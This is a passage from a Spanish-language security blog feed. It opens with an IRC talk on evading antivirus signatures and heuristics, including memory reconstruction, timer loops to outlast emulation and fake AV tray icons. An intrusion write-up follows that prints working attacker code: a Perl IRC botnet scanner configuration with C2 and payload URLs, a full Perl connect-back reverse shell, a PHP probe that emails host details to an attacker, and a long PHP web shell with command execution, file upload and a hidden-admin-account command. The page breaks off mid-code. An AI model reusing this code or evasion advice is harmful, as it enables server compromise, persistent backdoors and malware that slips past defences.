&lt;Psymera&gt; y ya guardamos nuestro ejecutable modificado y lo corremos para provarlo<br />
<strong>&lt;Psymera&gt; el AV no nos lo deve de tomar como espesimen o en todo caso ke aun nos detecte lo hara como una variante diferente o como otro malware, por las firmas detectadas</strong><br />
&lt;sdc&gt; que pasa si el programa hace referencia a la memoria que desplazamos? por ejemplo si es un for que tiene como marcador de inicio la instruccion 403509 o algo asi..<br />
&lt;sdc&gt; se muere el programa supongo, no seria mas eficiente colocar instrucciones equivalentes?<br />
&lt;Psymera&gt; para eso existe la tecnica meepa xP<br />
&lt;sdc&gt; como en ese xor esi esi, un mov esi 0<br />
&lt;Psymera&gt; ke es una vercion refinada de la rit o pordriamos buscar otras firmas mas sencilla ke sean detectadas<br />
&lt;Psymera&gt; aun ke si es valido como lo dices pero el problema es ke igual no son del mismo tamaño las intrcciones<br />
&lt;sdc&gt; ah sisi<br />
&lt;sdc&gt; eso es verdad<br />
&lt;Psymera&gt; entocnes tendriamos ke mover mucho las direccion y demaz<br />
&lt;sdc&gt; pero la de meepa recrea el virus en memoria no?<br />
&lt;Psymera&gt; haci es<br />
&lt;sdc&gt; muchos antivirus checan tambien la memoria no?<br />
&lt;sdc&gt; no solo el archivo<br />
&lt;Psymera&gt; en parte<br />
&lt;Psymera&gt; hacen un chekeo en memoria pero solo X instricciones o tiempo al principio<br />
&lt;sdc&gt; ah vaya<br />
&lt;Psymera&gt; bueno deja explico mepa xP rapido para regrear ah esto<br />
<strong>&lt;Psymera&gt; bueno tal como sdc comento mepa se trata de recostruir el programa en memoria<br />
&lt;Psymera&gt; esto se hace teniendo las offsets y sus valores originales<br />
&lt;Psymera&gt; al principio del programa antes de cualkier instruccion crea un salto a una cave<br />
&lt;Psymera&gt; la cual contiene un codigo ke regenera los valores en memoria ah su estado original<br />
&lt;Psymera&gt; y despues regresa al flujo normal del programa</strong><br />
&lt;Psymera&gt; por lo cual muchas firmas dificiles de modificar o sencibles ya no lo son<br />
&lt;Psymera&gt; pero bueno aki encotnramos el problema del analizis en memoria<br />
<strong>&lt;Psymera&gt; los antivirus igual nos buscan las firmas una vez cargado en memoria y durante los primeros X ciclos de ejeccion</strong><br />
&lt;Psymera&gt; entre ello va la simulacion de ejecuccion para buscar firmas o rutinas sospechosas<br />
&lt;Psymera&gt; pero bueno esto no es una labor infinita o ke se mantenga ah lo largo de toda la ejecucion<br />
Psymera&gt; por lo mismo ke es demaciado costoso en recursos<br />
&lt;Psymera&gt; y gracias ah ello podemos evitar mucha deteccion cuando somos geniales en asm y sabemos meter unas buenas rutinas haci en bruto en las cavernas o teniendo el codigo fuente<br />
&lt;sdc&gt; jajaja..<br />
&lt;Psymera&gt; por ejemplo karsperky es muy facil de saltar su heuristica por ello mismo<br />
<strong>&lt;Psymera&gt; por poner un ejemplo comunmente okupado en malware echo en vb<br />
&lt;Psymera&gt; es el de poner un timer ah X cantidad de mili segundos y ese a su vez active otro timer y haci ssesivamente XD<br />
&lt;Psymera&gt; aun ke bueno se puede hacer on uno solo y solo okupar un bloke<br />
&lt;Psymera&gt; o okpar un hilo<br />
&lt;Psymera&gt; el chiste es ke okupemos esa cantidad de chekeos ke tiene permitido hacer</strong><br />
Psymera&gt; y con ello saltarnos su heuristica<br />
&lt;Psymera&gt; esto de igual forma podemos implementarlos con las tecnicas ke comente anteriormente para introduccion de codigo<br />
&lt;Psymera&gt; bien bueno<br />
&lt;Psymera&gt; preguntas comentarios<br />
&lt;Psymera&gt; mentadas? XD<br />
&lt;Psymera&gt; me falto algo? xP<br />
&lt;hkm&gt; tu tool lo pondre en el log de la platica<br />
&lt;hkm&gt; attacheado al post<br />
&lt;Psymera&gt; vap xP<br />
&lt;elprimodel5patas&gt; esta muy chinga la tool<br />
&lt;Psymera&gt; bien de perdida refreskenmela XD<br />
&lt;Drackoz&gt; no pues estuvo buena la exposicion del meepa<br />
&lt;hkm&gt; Se me hizo interesante todas las formas diferentes de brincar las firmas, y es lo mismo para packers y crypters y demas?<br />
&lt;Psymera&gt; haci es<br />
&lt;SAKIA&gt; eip!! meepa rulez!! or algun killav<br />
&lt;Psymera&gt; no me gustan en lo personal los killav<br />
&lt;elprimodel5patas&gt; por?<br />
&lt;SAKIA&gt; no son etikos jajajaja<br />
&lt;Psymera&gt; son poko artisticos y chillan mucho<br />
&lt;Psymera&gt; cuando vez ke el iconito del AV ya noe sta en el task<br />
&lt;Psymera&gt; te espantas<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;elprimodel5patas&gt; verga que le hice!<br />
&lt;elprimodel5patas&gt; te paniqueas tu<br />
&lt;Psymera&gt; esactamente eso ,xd<br />
&lt;elprimodel5patas&gt; en ves de la compu<br />
&lt;elprimodel5patas&gt; si me ah pasdo jeejejej<br />
&lt;elprimodel5patas&gt; que eliminas cosas que no querias<br />
&lt;SAKIA&gt; tienen su chiste pero si hicieras tu colecc de icons<br />
<strong>&lt;SAKIA&gt; asi nomas cuelgas un icono basura pa que no se den cuenta jajaja y hasta los procesos fakeaz</strong><br />
&lt;Psymera&gt; esta bien eso<br />
&lt;Psymera&gt; pero honestamente ah mi me gusta mas la parte romantica de uno contra la compañia completa del AV XD<br />
&lt;SAKIA&gt; pues tambien es jocoso uno contra el av<br />
&lt;hkm&gt; muy bien pues con eso terminamos las platicas<br />
<strong>&lt;sdc&gt; deberias hacer un killav que ponga un icono que sea iwal al antivirus que usas</strong><br />
&lt;jimtronic&gt; pos aprendimos mucho ahora<br />
&lt;sdc&gt; y no haga nada, nomas este ahi<br />
&lt;SAKIA&gt; sdc es lo que io decia<br />
&lt;sdc&gt; seh buena idea<br />
&lt;Psymera&gt; xD<br />
&lt;sdc&gt; jajajaja<br />
&lt;Drackoz&gt; valio la pena la espera<br />
&lt;Drackoz&gt; y la desvelada</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/uncategorized/machancando-avs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Analisis de una Intrusion y un bot</title>
		<link>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/</link>
		<comments>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 01:52:16 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet security hacking analisis Scan2009.txt]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=33</guid>
		<description><![CDATA[Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias [...]]]></description>
			<content:encoded><![CDATA[<p>Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias hackers que eran INVISIBLES y no inservibles? pero bueno que se yo no? jajajajaja</p>
<p>Bueno me toco ayudar a una persona que le hicieron una intrusion con inclusion de codigo, es bastante interesante porque se vio ejecutar perl Scan009.txt que me llamo la atencion y lo consegui del sitio donde bajo el botnet el ataque:</p>
<p>http://matudesign.com/dh/imagenes/Scan2009.txt</p>
<p><span id="more-33"></span></p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

  ##################################################################
  ##                                                                                 ##
  ##                                                                                 ##
  ##                                                                   05/06/2008    ##
  ##  Author  : BitchX and Osirys                                                    ##                                                             ##
  ##  Team    : FullNetWork                                                          ##
  ##  Ircd    : irc.fullnetwork.org                                                  ##
  ##  WebSite :                                                                      ##
  ##  Contact : safes[dot]modes[at]gmail[dot]com                                     ##
  ##                                                                                 ##
  ##                                                                                 ##
  ##  Release: v1 Private                                                            ##
  ##                                                                                 ##
  ##                                                                                 ##
  #####################################################################################

### !!_/ PRIVATE

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

#######################################################
## CONFIGURATION                                     //
#######################################################

my $id    = "http://matudesign.com/dh/imagenes/02.txt??"; #Your RFI Response
#Shell printed on the Vulnerable Site
my $shell = "http://matudesign.com/dh/imagenes/cmd-shell.txt??";
my $ircd  = "64.136.61.195";
my $port  = "7000";
my $chan1 = "#offspring"; #Chan for Scan
my $chan2 = "#offspring"; #bot will be printed here too
my $nick  = "[D]PRIVATE".(int(rand(100)));
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time.
#For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
#Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results,
# you can put a higher number, so more speed.
my $rfipidpr0c = 50;
my @User_Agent = &#038;Agent();

### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )

my $spread = "http://matudesign.com/dh/imagenes/01.txt??";

my $spreadACT = 0; #0 ->disabled, 1 ->enabled
my $securityACT = 0; #0 ->disabled, 1 ->enabled

my $killpwd = "lol"; #Password to Kill the Bot
my $chidpwd = "lol"; #Password to change the RFI Response
my $cmdpwd = "lol"; #Password to execute commands on the server
my $secpwd = "lol";
my $spreadpwd = "lol";

my $badspreadpwd != $spreadpwd;
my $badkillpwd != $killpwd;
my $badidpwd != $chidpwd;
my $badcmdpwd =! $cmdpwd;

#######################################################
## END OF CONFIGURATION                              //
#######################################################

open( $f1le, ">", "rm.txt" );
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\*\")\;\n";
close $f1le;

my $sys = `uname -a`;
my $up = `uptime`;

if ($spreadACT == 0) {
    $t5 = "OFF";
}
elsif ($spreadACT == 1) {
    $t5 = "ON";
}

if ($securityACT == 0) {
    $y5 = "OFF";
}
elsif ($securityACT == 1) {
    $y5 = "ON";
}

$k=0;

if ( fork() == 0 ) {
    &#038;irc( $ircd, $port, $chan1, $chan2, $nick );
}
else {
    exit;
}

... LONG BORING CODE AVAILABLE ON DEMAND ...

## PRIVATE
## Coded by BitchX and Osirys
</pre>
<p>Este script esta intersante, esta hecho para tomar comandos desde IRC para hacer scans masivos, infectar mas servers y agregarlos dentro de la botnet y reportarse (me encantaron sobre todo los passwords en los que podemos tomar control de la botnet nosotros mismos) asi tambien agregaron y ejecutaron los siguientes scripts:</p>
<p>http://matudesign.com/dh/imagenes/02.txt</p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

use IO::Socket;

#IRAN HACKERS SABOTAGE Connect Back Shell          

#code by:LorD

#We Are :LorD-C0d3r-NT                                           

#Email:LorD@ihsteam.com

#

#lord@SlackwareLinux:/home/programing$ perl dc.pl

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#Usage: dc.pl [Host] [Port]

#

#Ex: dc.pl 127.0.0.1 2121

#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#[*] Resolving HostName

#[*] Connecting... 127.0.0.1

#[*] Spawning Shell

#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121

#listening on [any] 2121 ...

#connect to [127.0.0.1] from localhost [127.0.0.1] 32769

#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#--==Systeminfo==--

#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux

#

#--==Userinfo==--

#uid=1001(lord) gid=100(users) groups=100(users)

#

#--==Directory==--

#/root

#

#--==Shell==--

#

$system	= '/bin/sh';

$ARGC=@ARGV; 

print "--== ConnectBack Backdoor Shell vs 1.0 by xiP / eu kero comprar meu carroOOOo..!!! ==-- \n\n"; 

if ($ARGC!=2) { 

   print "Usage: $0 [Host] [Port] \n\n"; 

   die "Ex: $0 127.0.0.1 2121 \n"; 

} 

use Socket; 

use FileHandle; 

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 

print "[*] Olhando o servidor...\n";

print "[*] ConectandO... $ARGV[0] \n"; 

print "[*] Spawning Shell \n";

print "[*] Connected to remote host \n";

SOCKET->autoflush(); 

open(STDIN, ">&#038;SOCKET"); 

open(STDOUT,">&#038;SOCKET"); 

open(STDERR,">&#038;SOCKET"); 

print "--== ConnectBack Backdoor vs 1.0 by by xiP / eu kero comprar meu carroOOOo..!!! ==--  \n\n"; 

system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;

echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 

system($system);

#EOF
</pre>
<p>Ojo con el MAESTRO del system (me preugnto yo para que hacer tanto show y que pasa si no esta el command o peor eso se ve fuertisimo pero bueno no podemos pedir demaciado, jejejejeje</p>
<p>Y esta preciosura tambien:</p>
<pre name="code" class="prettiprint">
<? ob_clean(); ?>
 <?
 $cabeceras = "Content-type: text/html\r\n";
 $m1=$_SERVER['HTTP_HOST'];
 $m2=$_SERVER['REQUEST_URI'];
 $hostn=$_SERVER['HTTP_HOST'];
 $ran = rand(0,999);
 $ran = "$ran$ran";
 $asunto = "$ran # Vuln Owns";
 $arr =array($to,$message);
 $msg = "1nb0x1nh4: $m1.$m2 \nHostname: $hostn\n" . " " . '
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
TAG html TAG
TAG head TAG
TAG meta content="text/html; charset=ISO-8859-1" http-equiv="content-type" TAG
TAG /head TAG
TAG body TAG

';
 mail("math3us1m@hotmail.com", $asunto, $msg, $cabeceras);
 ?>

<?php
$id1 = system(id);
$un = @php_uname();
$os = @PHP_OS;

echo "3b1tchx3mailOK";
echo "id: $id1";
echo "os: $os";
echo "uname -a: $un";
exit;
</pre>
<p>Manda un email a math3us1m@hotmail.com avisandole del hack, mandemosles muchos y muchos correos de hack! jajajaja porque no?</p>
<p>Y para mantener el control usan: http://matudesign.com/dh/imagenes/cmd-shell.txt</p>
<pre name="code" class="prettyprint">
TAG html TAG
TAG head>
TAG meta http-equiv="Content-Language" content="pt-br">
TAG meta name="GENERATOR" content="Microsoft FrontPage 5.0">
TAG meta name="ProgId" content="AoD">
TAG meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
TAG title>My life is Crazy Man TAG/title>
TAG style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}
A:hover {text-decoration:underline}
A:active {text-decoration:underline}
body,td {
 font-family: verdana;
 font-size: 8pt;
 background-color: #006600;
}
a{
 color: #0000FF;
 text-decoration: none;
}
a:hover {
 color: #FF0000;
 text-decoration: underline;
}
TAG /style>
TAG /head>
TAG body >
TAG center>
<h2> --== ?YOUNGEST? Hack Shell==-- </h2>

</center>
TAG ?php

 @set_time_limit(0);

 $string = $_SERVER['QUERY_STRING'];
 $mhost = 'http://www.freewebs.com/segunogunyemi/derrr.jpg?';
 $host_all = explode("$mhost", $string);
 $s1 = $host_all[0];
 $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;

 $OS = @PHP_OS;
 $IpServer = '127.0.0.1';
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
 else { $SafeMode = "<i>$SafeMode</i>"; }

 $btname = 'backtool.txt';
 $bt = 'http://www.smashed-radio.com/forum/cmds.txt';
 $dc = 'http://www.smashed-radio.com/forum/cmds.txt';
 $newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup

"Administrators" /add Admin;net localgroup "Users" /del
Admin';
 $bn = 'http://www.smashed-radio.com/forum/cmds.txt';
// Java Script
 echo "TAG script type=\"text/javascript\">";

 echo "function ChMod(chdir, file) {";
 echo "var o = prompt('Chmod: - Contoh: 0777', '');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=chmod&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;chmod=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Rename(chdir, file, mode) {";
 echo "if (mode == 'edit') {";
 echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
 echo "}";
 echo "else {";
 echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
 echo "}";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=rename&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;newname=' + o + '&#038;mode=' + mode +\"\";";
 echo "}";
 echo "}";
 echo "function Copy(chdir, file) {";
 echo "var o = prompt('Copied for:', '/tmp/' + file);";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=copy&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;fcopy=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Mkdir(chdir) {";
 echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=mkdir&#038;chdir=' + chdir +
'&#038;newdir=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "function Newfile(chdir) {";
 echo "var o = prompt('Nama File?', 'File_Baru.txt');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=newfile&#038;chdir=' + chdir +
'&#038;newfile=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "</script>";

 // End JavaScript

 /* Functions */
 function cmd($CMDs) {
 $CMD[1] = '';
 exec($CMDs, $CMD[1]);
 if (empty($CMD[1])) {
  $CMD[1] = shell_exec($CMDs);
 }
  elseif (empty($CMD[1])) {
  $CMD[1] = passthru($CMDs);
 }
 elseif (empty($CMD[1])) {
  $CMD[1] = system($CMDs);
 }
 elseif (empty($CMD[1])) {
  $handle = popen($CMDs, 'r');
  while(!feof($handle)) {
   $CMD[1][] .= fgets($handle);
  }
  pclose($handle);
 }
 return $CMD[1];
 }

if (@$_GET['chdir']) {
 $chdir = $_GET['chdir'];
} else {
  $chdir = getcwd()."/";
 }
if (@chdir("$chdir")) {
 $msg = "TAG font color=\"#008000\"> Pintu Masuk ke Direktori, OK!</font>";
} else {
 $msg = "TAG font color=\"#FF0000\">Error: Gagal masukkan ke folder!</font>";
 $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
}
 $chdir = str_replace(chr(92), chr(47), $chdir);

if (@$_GET['action'] == 'upload') {
 $uploaddir = $chdir;
 $uploadfile = $uploaddir. $_FILES['userfile']['name'];
 if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .

$_FILES['userfile']['name'])) {
 $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$_FILES['userfile']['name']}</font>, Upload File Berjaya.

</font>";
 } else {
   $msg = "TAG font color=\"#FF0000\">Error: Upload File Gagal.</font>";
  }
}
elseif (@$_GET['action'] == 'mkdir') {
   $newdir = $_GET['newdir'];
   if (@mkdir("$chdir"."$newdir")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newdir}</font>, folder

berhasil dibuat. </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Pembuatan folder
gagal.</font>";
     }
}
elseif (@$_GET['action'] == 'newfile') {
   $newfile = $_GET['newfile'];
   if (@touch("$chdir"."$newfile")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newfile}</font>, berhasil

dibuat! </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Tak Boleh Buat File!</font>";
     }
}

elseif (@$_GET['action'] == 'del') {
    $file = $_GET['file']; $type = $_GET['type'];
    if ($type == 'file') {
     if (@unlink("$chdir"."$file")) {
      $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus arsip (file)!</font>";
     } else {
        $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan File
(file)!</font>";
       }
    } elseif ($type == 'dir') {
       if (@rmdir("$chdir"."$file")) {
         $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus folder!</font>";
       } else {
          $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan
folder!</font>";
         }
      }
}
elseif (@$_GET['action'] == 'chmod') {
    $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
    if (@chmod ("$file", $chmod)) {

     $msg = "TAG font color=\"#008000\">Chmod dari</font> TAG font color=\"#000080\">{$_GET['file']}</font> TAG font color=\"#008000\">berubah
menjadi</font>

TAG font color=\"#000080\">$chmod</font> TAG font color=\"#008000\">:
Sukses!</font>";
    } else {
       $msg = 'TAG font color=\"#FF0000\">Error: Gagal mengubah
chmod.</font>';
      }
}
elseif (@$_GET['action'] == 'rename') {
    $file = $_GET['file']; $newname = $_GET['newname'];
    if (@rename("$chdir"."$file", "$chdir"."$newname")) {
     $msg = "TAG font color=\"#008000\">Archive</font> TAG font color=\"#000080\">{$file}</font>

TAG font color=\"#008000\">named for</font> TAG font color=\"#000080\">{$newname}</font> TAG font color=\"#008000\">successfully!</font>";
    } else {
       $msg = "TAG font color=\"#FF0000\">Error: Gagal menukar File.</font>";
      }
}
elseif (@$_GET['action'] == 'copy') {
   $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
   if (@copy("$file", "$copy")) {
    $msg = "TAG font color=\"#000080\">{$file}</font>, TAG font color=\"#008000\">disalin

menjadi</font> TAG font color=\"#000080\">{$copy}</font> TAG font color=\"#008000\">

Berhasil!</font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Gagal menyalin </font> TAG font color=\"#000000\">{$file}</font> TAG font color=\"#FF0000\">menjadi</font>
TAG font color=\"#000000\">{$copy}</font></font>";
     }
}
/* Parte Atualiza 02:48 12/2/2006 */

elseif (@$_GET['action'] == 'cmd') {
 if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
 $cmd = stripslashes(trim($cmd));
 $result_arr = cmd($cmd);

 $afim = count($result_arr); $acom = 0; $msg = '';
 $msg .= "
<p style=\"color: #000000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b>

";
 if ($result_arr) {
 while ($acom <= $afim) {
  $msg .= "
<p style=\"color: #008000;text-align: left;font-family:

'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."

";
 $acom++;
  }
 }
 else {
 $msg .= "
<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Error: Gagal Menjalankan perintah.

";
 }
}
elseif (@$_GET['action'] == 'safemode') {
if (@!extension_loaded('shmop')) {
 echo "Loading... module</br>";

   if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
       @dl('php_shmop.dll');
   } else {
       @dl('shmop.so');
   }
}

if (@extension_loaded('shmop')) {
 echo "Module: <b>shmop</b> loaded!</br>";

 $shm_id = @shmop_open(0xff2, "c", 0644, 100);
 if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
 $data="\x00";
 $offset=-3842685;
 $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
 if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire
length of

data\n"; }
 if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for
deletion."; }
 echo passthru("id");
 shmop_close($shm_id);

} else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
}

elseif (@$_GET['action'] == 'zipen') {
 $file = $_GET['file'];
 $zip = @zip_open("$chdir"."$file");
 $msg = '';
if ($zip) {

   while ($zip_entry = zip_read($zip)) {
       $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
       $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) .
"\n";
       $msg .= "Compressed Size:    " .
zip_entry_compressedsize($zip_entry) . "\n";
       $msg .= "Compression Method: " .
zip_entry_compressionmethod($zip_entry) . "\n";

       if (zip_entry_open($zip, $zip_entry, "r")) {
           echo "File Contents:\n";
           $buf = zip_entry_read($zip_entry,
zip_entry_filesize($zip_entry));
           echo "$buf\n";

           zip_entry_close($zip_entry);
       }
       echo "\n";

   }

   zip_close($zip);

}
}
elseif (@$_GET['action'] == 'edit') {
 $file = $_GET['file'];
 $conteudo = '';
 $filename = "$chdir"."$file";
 $conteudo = @file_get_contents($filename);
 $conteudo = htmlspecialchars($conteudo);
 $back = $_SERVER['HTTP_REFERER'];
 echo "
<p align=\"center\">Editing {$file} ...

";
 echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse\" width=\"100%\" id=\"editacao\">";
 echo "
<tr>";
 echo "
<td width=\"100%\">";
 echo "
<form method=\"POST\"

action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
 echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<p align=\"center\">";
 print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family:
Verdana;

font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea>

";
 echo "
<p align=\"center\">";
 echo "
<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border:
1px solid

#000000\"> ";
 echo "
<input type=\"button\" value=\"Tutup\"

Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\"
name=\"B1\" style=\"

border: 1px solid #000000\"> ";
 echo "</form>

";
 echo "</td>

";
 echo "</tr>

";
 echo "</table>

";
}
elseif (@$_GET['action'] == 'save') {
  $filename = "$chdir".$_GET['file'];
  $somecontent = $_POST['S1'];
  $somecontent = stripslashes(trim($somecontent));
  if (is_writable($filename)) {
   @$handle = fopen ($filename, "w");
   @$fw = fwrite($handle, $somecontent);
   @fclose($handle);
   if ($handle &#038;&#038; $fw) {
    $msg = "TAG font color=\"#000080\">{$_GET['file']}</font>, TAG font color=\"#008000\">berhasil diedit!</font>";
   }
 } else {
   $msg = "TAG font color=\"#000000\">{$_GET['file']},</font> TAG font color=\"#FF0000\">tidak

bisa ditulisi!</font>";
  }
}

// Informa?s
 $cmdget = '';
 if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
 $cmdget = htmlspecialchars($cmdget);
 function asdads() {
 $asdads = '';
 if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
 if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
 if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
 if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
 if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
 return $asdads;
 }

echo "
<form method=\"POST\" name=\"cmd\"

action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
echo "
<fieldset style=\"border: 1px solid #000000; padding: 2\">";
echo "
<legend>Informasi</legend>

";
echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Sistem </b> </td>

 ";
echo "
<td width=\"92%\">: {$OS}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Nama </b></td>

 ";
echo "
<td width=\"92%\">: {$UNAME}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>PHP </b></td>

 ";
echo "
<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>

";
echo "</tr>

";
 if (strtoupper(substr($OS, 0,3) != 'WIN')) {
 $Methods = asdads();
 if ($Methods == '') { $Methods = "???"; }
 echo "
<tr>";
 echo "
<td width=\"8%\">";
 echo "<b>Methods </b></td>

 ";
 echo "
<td width=\"92%\">: {$Methods}</td>

";
 echo "</tr>

";
 }

echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>IP </b></td>

 ";
echo "
<td width=\"92%\">: {$IpServer}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Perintah </b></td>

 ";
echo "
<td width=\"92%\">:
<input type=\"text\" size=\"70\" name=\"cmd\"
value=\"{$cmdget}\"

style=\" font-size: 8 pt; border: 1px solid #000000\">
<input
type=\"submit\"

name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid

#000000\"></td>

";
echo "</tr>

";
echo "</table>

";
echo "</fieldset>
</form>

";
// Dir

echo "
<form method=\"POST\"
action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"

enctype=\"multipart/form-data\">";
echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<fieldset style=\"border:
1px solid

#000000; padding: 2\">";
if (is_writable("$chdir")) {
 if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote

Access</a></legend>

";
 } else {
   echo "
